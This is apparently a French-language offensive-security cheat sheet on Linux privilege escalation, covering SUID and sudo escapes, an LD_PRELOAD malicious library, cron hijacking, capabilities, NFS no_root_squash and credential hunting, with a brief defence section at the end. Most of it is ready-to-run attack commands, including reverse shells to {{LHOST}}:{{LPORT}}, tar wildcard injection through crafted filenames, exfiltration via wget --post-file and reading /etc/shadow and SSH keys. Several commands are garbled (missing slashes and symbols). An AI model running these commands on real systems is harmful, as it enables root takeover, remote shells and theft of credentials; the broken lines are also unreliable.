MDstable
NoteSnippetChecklistPlaybook

Linux PrivEsc — SUID, Sudo, Cron, Capabilities

Élévation de privilèges Linux : SUID/SGID, sudo misconfig, cron jobs, capabilities, NFS, LinPEAS

snippetadvanced 2026-05-14 5 min read
privesclinuxsuidsudocroncapabilitiesnfslinpeasgtfobins

Reconnaissance initiale

bash
# Contexte actuel
id && whoami && hostname
cat /etc/passwd | grep -v "nologin\|false"
cat /etc/os-release && uname -a
# LinPEAS — énumération complète
curl -sL https//github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | bash
# Ou en local
/linpeas.sh 2>/dev/null | tee linpeastxt
# LinEnum
/LinEnum.sh -r report -e /tmp/ -t

SUID / SGID

bash
# Trouver tous les binaires SUID (Set User ID)
find -perm -4000 -type f 2>/dev/null
find -perm -u=s -type f 2>/dev/null
# SGID
find -perm -2000 -type f 2>/dev/null
# Exploiter via GTFOBins (https://gtfobins.github.io/)
# Rechercher le binaire SUID dans GTFOBins → section SUID

Exploits SUID courants (GTFOBins)

bash
Variables
{{LHOST}}
# bash SUID
/bin/bash -p # -p = preserve EUID → shell root
# find SUID
find -exec /bin/sh -p ; -quit
# nmap SUID (ancienne version)
nmap --interactive
sh
# vim / vi SUID
vim -c ':!/bin/sh'
# python SUID
python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
# cp SUID → copier /etc/shadow pour cracker
cp /etc/shadow /tmp/shadow_copy
# wget SUID → écraser des fichiers système
echo "root::0:0:root:/root:/bin/bash" > /tmp/passwd
wget --post-file=/tmp/passwd {{LHOST}} # exfil

Sudo Misconfiguration

bash
# Lister les règles sudo
sudo -l
# (ALL : ALL) NOPASSWD: ALL → sudo su directement
sudo su
sudo /bin/bash
# Sudo sur un binaire spécifique
# (root) NOPASSWD: /usr/bin/vim
sudo vim -c ':!/bin/bash'
# (root) NOPASSWD: /usr/bin/find
sudo find -exec /bin/bash ;
# (root) NOPASSWD: /usr/bin/python3
sudo python3 -c 'import pty; pty.spawn("/bin/bash")'
# (root) NOPASSWD: /usr/bin/awk
sudo awk 'BEGIN {system("/bin/bash")}'
# (root) NOPASSWD: /usr/bin/less
sudo less /etc/passwd
/bin/bash # dans less
# (root) NOPASSWD: /usr/bin/git
sudo git -p help config
/bin/bash # dans le pager
# (root) NOPASSWD: /usr/bin/nano
sudo nano /etc/sudoers # ajouter sa propre règle
# Ou éditer /etc/passwd pour remettre root sans mot de passe

Sudo env_keep — hijack LD_PRELOAD

bash
# Si sudo -l montre : env_keep+=LD_PRELOAD
# Créer une bibliothèque partagée malveillante
cat > /tmp/preload.c << 'EOF'
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init
unsetenv"LD_PRELOAD";
setgid0; setuid0;
system"/bin/bash -p";
EOF
gcc -fPIC -shared -nostartfiles -o /tmp/preload.so /tmp/preload.c
# Exécuter n'importe quelle commande autorisée avec LD_PRELOAD
sudo LD_PRELOAD/tmp/preload.so find

Cron Jobs

bash
# Lister les crontabs
cat /etc/crontab
ls -la /etc/cron.d/ /etc/cron.hourly/ /etc/cron.daily/
crontab -l
# Crontab de root ?
sudo crontab -l 2>/dev/null
# Surveiller les processus lancés (trouver les crons non listés)
# pspy — moniteur de processus sans droits root
/pspy64 # affiche les processus en temps réel avec UID
/pspy64 -pf -i 1000 # + surveiller les fichiers, intervalle 1s
bash
Variables
{{LHOST}}
{{LPORT}}
# Cron écrit dans un fichier modifiable
# Si root cron : * * * * * /opt/script.sh
ls -la /opt/script.sh
# Si writable → injecter un reverse shell
echo '#!/bin/bash' > /opt/script.sh
echo "bash -i >& /dev/tcp/{{LHOST}}/{{LPORT}} 0>&1" >> /opt/script.sh
chmod x /opt/script.sh
# Attendre le tick de cron (max 60s pour * * * * *)
nc -lvnp {{LPORT}}
bash
Variables
{{LHOST}}
{{LPORT}}
# Wildcard injection dans les crons tar/rsync
# Si cron : tar czf /backup.tar.gz /data/*
# Créer des fichiers avec noms spéciaux dans /data/
touch /data/--checkpoint1
touch "/data/--checkpoint-action=exec=bash shell.sh"
echo "bash -i >& /dev/tcp/{{LHOST}}/{{LPORT}} 0>&1" > /data/shell.sh
chmod x /data/shell.sh
# Au prochain cron tar → exécute shell.sh en tant que root

Linux Capabilities

bash
# Trouver les binaires avec capabilities élevées
getcap -r 2>/dev/null
# Capabilities dangereuses :
# cap_setuid+ep → peut changer d'UID → root
# cap_net_bind_service → peut binder des ports < 1024
# cap_dac_override → bypass des permissions fichiers
# cap_sys_ptrace → injection dans des processus
bash
# python3 avec cap_setuid
# /usr/bin/python3 = cap_setuid+ep
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
# perl avec cap_setuid
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'
# ruby avec cap_setuid
ruby -e 'Process::Sys.setuid(0); exec "/bin/bash"'
# tar avec cap_dac_read_search → lire /etc/shadow
tar -cvf shadowtar /etc/shadow 2>/dev/null
tar -xvf shadowtar
cat etc/shadow

NFS — No Root Squash

bash
Variables
{{TARGET_IP}}
# Vérifier les exports NFS depuis l'attaquant
showmount -e {{TARGET_IP}}
# /home/user *(rw,no_root_squash)
# no_root_squash = root côté client = root sur le partage
# Monter le partage NFS
mkdir /tmp/nfs_mount
mount -t nfs {{TARGET_IP}}/home/user /tmp/nfs_mount
# Créer un binaire SUID bash
cp /bin/bash /tmp/nfs_mount/bash_suid
chmod s /tmp/nfs_mount/bash_suid
# Sur la cible (user normal)
/home/user/bash_suid -p # → root shell

Mots de passe et credentials

bash
# Historique bash
cat /.bash_history | grep -E "pass|pwd|secret|mysql|psql|ssh"
# Fichiers de config avec credentials
find -name "*.conf" -o -name "*.config" -o -name "*.env" 2>/dev/null | xargs grep -li "password\|passwd\|secret" 2>/dev/null
# Variables d'environnement
env | grep -iE "pass|secret|key|token"
cat /proc/1/environ 2>/dev/null | tr '\0' '\n' | grep -iE "pass|secret"
# SSH keys privées
find -name "id_rsa" -o -name "id_ed25519" -o -name "id_ecdsa" 2>/dev/null

Défense

bash
# Audit SUID (retirer les SUID inutiles)
find -perm -4000 2>/dev/null | while read f; do
echo "SUID: $f"
chmod u-s "$f" 2>/dev/null || echo "→ Impossible (binaire système)"
done
# Sudo minimal : éviter NOPASSWD sur des binaires GTFOBins
# Ne jamais accorder : sudo vim, sudo less, sudo find, sudo python, sudo awk
# Sécuriser les crons
chmod 700 /etc/cron.d/ /etc/cron.daily/
chown rootroot /etc/crontab
# Ne jamais utiliser de wildcards dans les crons tar/rsync sans protection
💡 Tip —

GTFOBins (gtfobins.github.io) recense tous les binaires Unix utilisables pour escalader des privilèges. Pour chaque binaire SUID trouvé ou entrée sudo -l, vérifier d'abord dans GTFOBins — la majorité des binaires courants y sont répertoriés avec l'exploit exact.

OPS·BRAIN v1.075 notes · Securitylocal